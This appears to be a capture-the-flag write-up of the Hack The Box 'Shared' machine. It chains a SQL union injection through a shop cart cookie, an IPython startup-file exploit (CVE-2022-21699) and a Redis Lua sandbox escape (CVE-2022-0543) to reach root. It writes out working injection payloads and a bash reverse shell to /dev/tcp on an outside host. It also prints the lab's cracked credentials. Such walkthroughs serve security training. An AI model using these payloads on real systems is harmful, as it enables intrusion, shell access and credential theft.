Shared
Running an
nmap scan finds SSH and a basic online shop powered by PrestaShop at https://shared.htb. We add an item to the cart and try to checkout, which redirects us to checkout.shared.htb. The website knows which items are in our cart through a custom_cart cookie on the shared.htb domain. The cookie references the product code and the quantity that is in our cart. We manually perform a SQL union injection attack on this cookie and read a username and password hash, which can be cracked using CrackStation, from the database. With our credentials, we connect to the machine via SSH as the james_mason user.Now that we are on the box, we run pspy and see
ipython being executed on a schedule in a specific directory as the dan_smith user. Since the box is using ipython version 8.0.0, we use CVE-2022-21699 (GitHub advisory with proof-of-concept exploit) and get a reverse shell as dan_smith. We can now get the user.txt flag.To escalate to
root, we try connecting to a redis server we noticed when we ran pspy earlier. The redis server needs a password, so we run LinPEAS and find that we can execute /usr/local/bin/redis_connector_dev. The script is able to execute the info command on the redis server so it must have the password stored within it. From the redis documentation, we know that the password is sent in plain-text. So, we use netcat to capture the password from the program and then we use it to authenticate to the redis server running on the box. We try several exploits from HackTricks, but the LUA sandbox bypass ends up working. This is CVE-2022-0543 and a simple script is available at aodsec/CVE-2022-0543. We modify the script to use our password and then we get the root.txt flag!First, let's scan for open ports using
nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.172 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.172.PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA)
| 256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA)
|_ 256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://shared.htb
|_http-server-header: nginx/1.18.0
443/tcp open ssl/http nginx 1.18.0
| tls-nextprotoneg:
| h2
|_ http/1.1
|_http-server-header: nginx/1.18.0
| tls-alpn:
| h2
|_ http/1.1
| ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
| Not valid before: 2022-03-20T13:37:14
|_Not valid after: 2042-03-15T13:37:14
|_http-title: Did not follow redirect to https://shared.htb
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap shows a redirect to
shared.htb, so let's add that domain to /etc/hosts: echo "10.10.11.172 shared.htb" | sudo tee -a /etc/hosts.The HTTP version redirects to the HTTPS version. Looks like we have a basic online shop powered by PrestaShop (see footer):
The main page references a new checkout page (see above), so we should definitely investigate that.
Searching for "prestashop vulnerabilities" finds Major Security Vulnerability on PrestaShop Websites and Prestashop Security Issues: Top 7 Most Common Prestashop Attacks, which might be helpful later.
I haven't used OWASP ZAP before and it seems like a cool tool. In ZAP, perform an automated scan against
https://shared.htb/index.php. Make sure you have the beta and alpha "Active scanner rules" plugins installed so ZAP can detect more vulnerabilities. Then, create a policy with a low default threshold and a low attack strength. Apply those levels to all the rules in that policy. In Tools > Options, increase the "Concurrent Scanning Threads per Host" to something like 20 to speed up scan times. Additionally, in the tree on the left, you can right click a node and select Exclude from > Scanner to remove it from the scan and make the scan faster by only scanning the necessary components. Finally, run a new scan with your newly created policy against https://shared.htb.
Here is the complete progress table:
Text | Strength | Progress | Elapsed | Reqs | Alerts | Status |
|---|---|---|---|---|---|---|
Analyser | | | 00:14.895 | 106 | | |
| | | | | | |
Plugin | | | | | | |
Path Traversal | Low | 100 | 00:38.579 | 405 | 11 | Completed |
Remote File Inclusion | Low | 100 | 00:27.468 | 260 | 0 | Completed |
Source Code Disclosure - /WEB-INF folder | Low | 100 | 00:00.346 | 2 | 0 | Completed |
External Redirect | Low | 100 | 00:14.385 | 156 | 0 | Completed |
Server Side Include | Low | 100 | 00:23.401 | 208 | 0 | Completed |
Cross Site Scripting (Reflected) | Low | 100 | 01:21.525 | 708 | 0 | Completed |
Cross Site Scripting (Persistent) - Prime | Low | 100 | 00:06.167 | 52 | 0 | Completed |
Cross Site Scripting (Persistent) - Spider | Low | 100 | 00:04.903 | 187 | 0 | Completed |
Cross Site Scripting (Persistent) | Low | 100 | 00:03.520 | 0 | 0 | Completed |
SQL Injection | Low | 100 | 00:35.812 | 390 | 2 | Completed |
Server Side Code Injection | Low | 100 | 00:37.159 | 416 | 0 | Completed |
Remote OS Command Injection | Low | 100 | 01:08.598 | 780 | 0 | Completed |
Directory Browsing | Low | 100 | 00:15.279 | 187 | 0 | Completed |
Buffer Overflow | Low | 100 | 00:06.292 | 52 | 0 | Completed |
Format String Error | Low | 100 | 00:17.474 | 144 | 0 | Completed |
CRLF Injection | Low | 100 | 00:31.252 | 364 | 0 | Completed |
Parameter Tampering | Low | 100 | 00:41.855 | 364 | 0 | Completed |
ELMAH Information Leak | Low | 100 | 00:00.104 | 1 | 1 | Completed |
.htaccess Information Leak | Low | 100 | 00:03.139 | 67 | 66 | Completed |
Script Active Scan Rules | Low | 100 | 00:00.002 | 0 | 0 | Skipped, no scripts enabled. |
Source Code Disclosure - Git | Low | 100 | 00:03.102 | 0 | 0 | Completed |
Source Code Disclosure - File Inclusion | Low | 100 | 00:08.195 | 104 | 0 | Completed |
Remote Code Execution - Shell Shock | Low | 100 | 00:09.918 | 104 | 0 | Completed |
Httpoxy - Proxy Header Misuse | Low | 100 | 00:30.581 | 1305 | 0 | Completed |
Cross-Domain Misconfiguration | Low | 100 | 00:00.482 | 2 | 0 | Completed |
Heartbleed OpenSSL Vulnerability | Low | 100 | 00:00.843 | 5 | 0 | Completed |
Source Code Disclosure - CVE-2012-1823 | Low | 100 | 00:05.836 | 160 | 0 | Completed |
Remote Code Execution - CVE-2012-1823 | Low | 100 | 00:19.512 | 374 | 0 | Completed |
Session Fixation | Low | 100 | 00:02.833 | 0 | 0 | Completed |
SQL Injection - MySQL | Low | 100 | 00:18.062 | 208 | 0 | Completed |
SQL Injection - Hypersonic SQL | Low | 100 | 00:21.231 | 208 | 0 | Completed |
SQL Injection - Oracle | Low | 100 | 00:19.905 | 208 | 0 | Completed |
SQL Injection - PostgreSQL | Low | 100 | 00:20.243 | 208 | 0 | Completed |
SQL Injection - SQLite | Low | 100 | 00:13.886 | 104 | 0 | Completed |
Cross Site Scripting (DOM Based) | Low | 100 | 01:44.250 | 0 | 0 | Skipped, by user action. |
SQL Injection - MsSQL | Low | 100 | 00:05.257 | 90 | 0 | Completed |
XPath Injection | Low | 100 | 00:12.339 | 156 | 0 | Completed |
XML External Entity Attack | Low | 100 | 00:03.299 | 0 | 0 | Completed |
Generic Padding Oracle | Low | 100 | 00:03.686 | 0 | 0 | Completed |
Expression Language Injection | Low | 100 | 00:04.947 | 52 | 0 | Completed |
Cloud Metadata Potentially Exposed | Low | 100 | 00:00.483 | 1 | 1 | Completed |
Source Code Disclosure - SVN | Low | 100 | 00:04.496 | 145 | 132 | Completed |
Relative Path Confusion | Low | 100 | 00:03.488 | 39 | 0 | Completed |
Backup File Disclosure | Low | 100 | 01:13.116 | 1790 | 83 | Completed |
HTTP Only Site | Low | 100 | 00:00.014 | 0 | 0 | Completed |
Anti-CSRF Tokens Check | Low | 100 | 00:03.952 | 22 | 22 | Completed |
Integer Overflow Error | Low | 100 | 00:20.905 | 189 | 7 | Completed |
Proxy Disclosure | Low | 100 | 00:36.839 | 1496 | 104 | Completed |
Trace.axd Information Leak | Low | 100 | 00:03.199 | 67 | 12 | Completed |
.env Information Leak | Low | 100 | 00:03.093 | 67 | 67 | Completed |
Hidden File Finder | Low | 100 | 00:07.619 | 44 | 1 | Completed |
XSLT Injection | Low | 100 | 00:09.868 | 114 | 0 | Completed |
Insecure HTTP Method | Low | 100 | 00:10.245 | 187 | 0 | Completed |
HTTPS Content Available via HTTP | Low | 100 | 00:04.904 | 174 | 25 | Completed |
GET for POST | Low | 100 | 00:03.225 | 5 | 0 | Completed |
User Agent Fuzzer | Low | 100 | 00:41.962 | 484 | 464 | Skipped, by user action. |
HTTP Parameter Pollution | Low | 100 | 00:04.783 | 10 | 0 | Completed |
Possible Username Enumeration | Low | 100 | 00:00.001 | 0 | 0 | Skipped |
Cookie Slack Detector | Low | 100 | 00:16.495 | 738 | 184 | Completed |
Server Side Template Injection | Low | 100 | 00:20.898 | 212 | 0 | Completed |
Server Side Template Injection (Blind) | Low | 100 | 00:57.817 | 650 | 0 | Completed |
| | | | | | |
Totals | | | 18:30.655 | 17940 | 1183 | |
The "Path Traversal" seems to be a false positive (it had a "low" confidence). We can check the SQL Injection as well with sqlmap. However, running
sqlmap -u "https://shared.htb/index.php?controller=category&id_category=1" --random-agent --batch -p id_category --level 3 --risk 2 doesn't find anything.Alright, that's enough messing around with ZAP. Let's explore the application. Let's add an item to the cart:
Clicking "Proceed to Checkout" redirects to
checkout.shared.htb. So, let's add that to our /etc/hosts: echo "10.10.11.172 checkout.shared.htb" | sudo tee -a /etc/hosts.
Since we found this virtual host, let's scan for others with
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://shared.htb/ -H "Host: FUZZ.shared.htb" -fs 169:www [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 46ms]
checkout [Status: 200, Size: 3229, Words: 1509, Lines: 65, Duration: 30ms]
:: Progress: [114441/114441] :: Job [1/1] :: 1267 req/sec :: Duration: [0:01:32] :: Errors: 0 ::
This only finds
www so nothing interesting.Anyway, clicking "Pay" on
checkout.shared.htb only shows an alert message and does nothing else, as shown by the HTML for the "Pay" button: <a href="#" class="btn btn-success my-3" onclick="alert('Your payment was successfully received');">Pay<i class="ml-2"></i></a>.However, looking at the request to load the page shows a
custom_cart cookie:
The cookie is
%7B%2253GG2EF8%22%3A%221%22%7D and URL decoding it returns {"53GG2EF8":"1"}. This looks like a product ID and a quantity. Sure enough, adding another item to the cart gives us {"53GG2EF8":"1","562XZDU8":"1"}.We have a product ID, which is a good candidate for SQL injection because e-commerce sites usually "store the products and their characteristics (price, description, availability, etc)... in a database" (source). We can quickly test for a SQL injection by setting this cookie to
{"53GG2'+'EF8":"1"}. This is a query that will evaluate to the same value originally if it is being ran as SQL. Sure enough, we get the same page. So, we have a SQL injection within this cookie.I recommend using BurpSuite for the rest of this part since it makes sending the request with the URL encoded payload much easier than manually URL encoding and editing the cookie within a browser.
This page from PortSwigger is a good introduction to SQL injections. In this case, we can use a SQL union injection. We will determine the number of columns in the query by appending
' ORDER BY 1-- and incrementing until we get a "Not Found" shown on the page. When we try {"53GG2EF8' ORDER BY 4-- ":"1"}, we get "Not Found," so 3 is the number of columns. The ORDER BY command "modifies the original query to order the results by different columns in the result set" (source).Next, we will add
AND 0=1 to prevent the first part of the query from running since 0=1 always evaluates to false. After that, we will add a UNION SELECT statement to see which columns are shown on the page. So, our final query if {"53GG2EF8' and 0=1 union select 2,4,8-- ":"1"}:
The
4 is shown under the "Product" heading, so that is the column we have control over.We can use the
database() function to ge the current database: {"53GG2EF8' and 0=1 union select 2,database(),8-- ":"1"}. This causes the "Product" column to show checkout, so the current database is checkout.Next, we get the tables in the
checkout database by running {"53GG2EF8' and 0=1 union select 2,group_concat(table_name),8 from information_schema.tables WHERE table_schema = 'checkout'-- ":"1"} (based on the command from this StackOverflow answer). This gives us user,product.After that, we use
{"53GG2EF8' and 0=1 union select 2,group_concat(column_name),8 from information_schema.columns WHERE table_schema = 'checkout' and table_name='user'-- ":"1"} (based on the command from this StackOverflow answer) to get the columns. As output, we get id,username,password in the "Product" column.We can get the username with
{"53GG2EF8' and 0=1 union select 2,username,8 from checkout.user-- ":"1"}: james_mason.And we can get the password with
{"53GG2EF8' and 0=1 union select 2,password,8 from checkout.user-- ":"1"}: fc895d4eddc2fc12f995e18c865cf273. Putting this hash into CrackStation gives us the password: Soleil101.Using these credentials to connect over SSH works:
ssh [email protected] with password Soleil101.2022/08/02 17:48:44 CMD: UID=0 PID=1 | /sbin/init
2022/08/02 17:49:01 CMD: UID=0 PID=24748 | sleep 5
2022/08/02 17:49:01 CMD: UID=0 PID=24747 | /bin/bash /root/c.sh
2022/08/02 17:49:01 CMD: UID=1001 PID=24746 | /usr/bin/python3 /usr/local/bin/ipython
2022/08/02 17:49:01 CMD: UID=0 PID=24745 | /bin/sh -c /root/c.sh
2022/08/02 17:49:01 CMD: UID=1001 PID=24743 | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython
2022/08/02 17:49:01 CMD: UID=0 PID=24742 | /usr/sbin/CRON -f
2022/08/02 17:49:01 CMD: UID=0 PID=24741 | /usr/sbin/CRON -f
2022/08/02 17:49:06 CMD: UID=0 PID=24757 | (s-server)
2022/08/02 17:49:32 CMD: UID=0 PID=24762 |
2022/08/02 17:50:01 CMD: UID=1001 PID=24769 | /usr/bin/pkill ipython
2022/08/02 17:50:01 CMD: UID=1001 PID=24768 | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython
2022/08/02 17:50:01 CMD: UID=0 PID=24767 | sleep 5
2022/08/02 17:50:01 CMD: UID=0 PID=24766 | /bin/bash /root/c.sh
2022/08/02 17:50:01 CMD: UID=0 PID=24765 | /bin/sh -c /root/c.sh
2022/08/02 17:50:01 CMD: UID=0 PID=24764 | /usr/sbin/CRON -f
2022/08/02 17:50:01 CMD: UID=0 PID=24763 | /usr/sbin/CRON -f
2022/08/02 17:50:01 CMD: UID=1001 PID=24770 | /usr/bin/python3 /usr/local/bin/ipython
2022/08/02 17:50:06 CMD: UID=0 PID=24775 | perl -ne s/\((\d+)\)/print " $1"/ge
2022/08/02 17:50:06 CMD: UID=0 PID=24774 | pstree -p 24757
2022/08/02 17:50:06 CMD: UID=0 PID=24773 | /bin/bash /root/c.sh
2022/08/02 17:50:06 CMD: UID=0 PID=24779 |
2022/08/02 17:50:06 CMD: UID=0 PID=24780 | /usr/bin/redis-server 127.0.0.1:6379
We have a
redis-server being started on localhost port 6379. We also have ipython being executed in the /opt/scripts_review/ directory, which looks promising. ipython is executed as UID 1001, which is the dan_smith user according to /etc/passwd.Running
ipython --version tells us that it is version 8.0.0. Searching for "" finds the program in Snyk's vulnerability database, which points us to this vulnerability, which directs us to the IPython release notes, which talk about CVE-2022-21699. Version 8.0.0 is "subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine." This is exactly what we want.mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py
Let's edit this to create a reverse shell instead. We use the standard bash reverse shell (
bash -c 'bash -i >& /dev/tcp/10.10.14.98/49113 0>&1') and just pass it to os.system():mkdir -m 777 /opt/scripts_review/profile_default
mkdir -m 777 /opt/scripts_review/profile_default/startup
echo 'import os;os.system("bash -c '\''bash -i >& /dev/tcp/10.10.14.98/49113 0>&1'\''")' > /opt/scripts_review/profile_default/startup/foo.py
Start a listener with
nc -lvnp 49113 (or using pwncat). After a few seconds or minutes, we get a reverse shell as dan_smith! We can now get the user.txt flag by running cat ~/user.txt.We can get persistance by grabbing
dan_smith's private ssh key located at ~/.ssh/id_rsa.We saw a redis server being executed earlier. Looking at the open ports with
netstat -lntu shows the following:Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:6379 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN
tcp6 0 0 :::22 :::* LISTEN
udp 0 0 0.0.0.0:68 0.0.0.0:*
Sure enough, port
6379 is open. Port 3306, which is the default MariaDB port, is also open. That is likely the database that we were able to inject to get access to the box as james_mason.We find the credentials to the database in
/var/www/checkout.shared.htb/config/db.php, but it doesn't contain any new information.$ cat /var/www/checkout.shared.htb/config/db.php
<?php
define('DBHOST','localhost');
define('DBUSER','checkout');
define('DBPWD','a54$K_M4?DdT^HUk');
define('DBNAME','checkout');
?>
Back to
redis. Looking at HackTrick's guide for redis, the first thing we should do is connect with redis-cli, which is installed on the box for us, and run info:$ redis-cli
127.0.0.1:6379> info
NOAUTH Authentication required.
127.0.0.1:6379>
Looks like we are going to need some credentials.
Upload LinPEAS and run with
./linpeas.sh -a 2>&1 | tee linpeas_report.txt. Download the report with download linepeas_report.txt in the local terminal within pwncat. You can open linpeas_report.txt with less -R linpeas_report.txt.LinPEAS finds this:
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root dan_smith 33 Aug 2 16:24 /home/dan_smith/user.txt
-rwxr-x--- 1 root sysadmin 5974154 Mar 20 09:41 /usr/local/bin/redis_connector_dev
This is a file at
/usr/local/bin/redis_connector_dev that we can read. Simply executing the file shows the following:[+] Logging to redis instance using password...
INFO command result:
# Server
redis_version:6.0.15
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:4610f4c3acf7fb25
redis_mode:standalone
os:Linux 5.10.0-16-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:10.2.1
process_id:65360
run_id:7c6ac532f6b9c8ffbd6e325998267f7f72170a6a
tcp_port:6379
uptime_in_seconds:18
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:15312797
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf
io_threads_active:0
<nil>
The script is able to execute the
info command on the redis server so it must have the password stored within it (or it reads it from somewhere). We download the file with pwncat: redis_connector_dev.$ file redis_connector_dev
Machines/Shared/redis_connector_dev: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=sdGIDsCGb51jonJ_67fq/_JkvEmzwH9g6f0vQYeDG/iH1iXHhyzaDZJ056wX9s/7UVi3T2i2LVCU8nXlHgr, not stripped
Running
strings on the binary is useless since it is so large. The redis documentation says "When the authorization layer is enabled, Redis will refuse any query by unauthenticated clients. A client can authenticate itself by sending the AUTH command followed by the password... Since the AUTH command, like every other Redis command, is sent unencrypted, it does not protect against an attacker that has enough access to the network to perform eavesdropping."So, we should be able to set up a netcat listener on the default redis port and see the password printed out for us. Start the listener with
nc -nvlp 6379 and then run the binary:listening on [any] 6379 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 35308
*2
$4
auth
$16
F2WHqJUz2WEz=Gqq
It seems like
F2WHqJUz2WEz=Gqq is the password.Back on the target machine, we run
redis-cli again to connect. We can use the AUTH command to authenticate, but we need a username? The shell makes it look like we do, but the username is optional, which is clarified in the AUTH command documentation. HackTricks also has some details about authentication.Running
AUTH F2WHqJUz2WEz=Gqq authenticates us and then we run the info command to see that the redis version is 6.0.15. Looking at the changelog, we see that version 6.0.16 patched 8 CVEs, so any one of those might be helpful:Security Fixes:
- (CVE-2021-41099) Integer to heap buffer overflow handling certain string commands and network payloads, when proto-max-bulk-len is manually configured to a non-default, very large value [reported by yiyuaner].
- (CVE-2021-32762) Integer to heap buffer overflow issue in redis-cli and redis-sentinel parsing large multi-bulk replies on some older and less common platforms [reported by Microsoft Vulnerability Research].
- (CVE-2021-32687) Integer to heap buffer overflow with intsets, when set-max-intset-entries is manually configured to a non-default, very large value [reported by Pawel Wieczorkiewicz, AWS].
- (CVE-2021-32675) Denial Of Service when processing RESP request payloads with a large number of elements on many connections.
- (CVE-2021-32672) Random heap reading issue with Lua Debugger [reported by Meir Shpilraien].
- (CVE-2021-32628) Integer to heap buffer overflow handling ziplist-encoded data types, when configuring a large, non-default value for hash-max-ziplist-entries, hash-max-ziplist-value, zset-max-ziplist-entries or zset-max-ziplist-value [reported by sundb].
- (CVE-2021-32627) Integer to heap buffer overflow issue with streams, when configuring a non-default, large value for proto-max-bulk-len and client-query-buffer-limit [reported by sundb].
- (CVE-2021-32626) Specially crafted Lua scripts may result with Heap buffer overflow [reported by Meir Shpilraien].
127.0.0.1:6379> MODULE LOAD /tmp/module.so
(error) ERR Error loading the extension. Please check the server logs.
Under the LUA sandbox bypass heading, HackTricks links to aodsec/CVE-2022-0543, which exploits CVE-2022-0543.
We get the linked repo setup by running these commands:
git clone https://github.com/aodsec/CVE-2022-0543.git
cd CVE-2022-0543
python -m venv env
source env/bin/activate
python -m pip install redis
However, before we can run it we need to forward the redis port to our attacker machine, which we can do using chisel. Run
./chisel server -p 34295 --reverse on your attacker machine and then run ./chisel client 10.10.14.98:34295 R:6379:127.0.0.1:6379 on the target. You can upload chisel easily with pwncat by running upload tools/chisel in the local shell of pwncat.Finally, run the exploit script with
python CVE-2022-0543.py. This produces an error: redis.exceptions.AuthenticationError: Authentication required because we didn't provide our password. We can easily modify the scipt and add the password by changing this line r = redis.Redis(host = ip,port = port) to this r = redis.Redis(host = ip,port = port,password="F2WHqJUz2WEz=Gqq") (password argument name found in this StackOverflow answer).Now, we can actually run the exploit script:
Please input redis ip:
>>127.0.0.1
Please input redis port:
>>6379
input exec cmd:(q->exit)
>>whoami
b'root\n'
input exec cmd:(q->exit)
>>ls
b'dump.rdb\n'
input exec cmd:(q->exit)
>>pwd
b'/var/lib/redis\n'
input exec cmd:(q->exit)
>>cat /root/root.txt
b'28...9c\n'
input exec cmd:(q->exit)
Run
/root/root.txt to get the root.txt flag.Last modified 2mo ago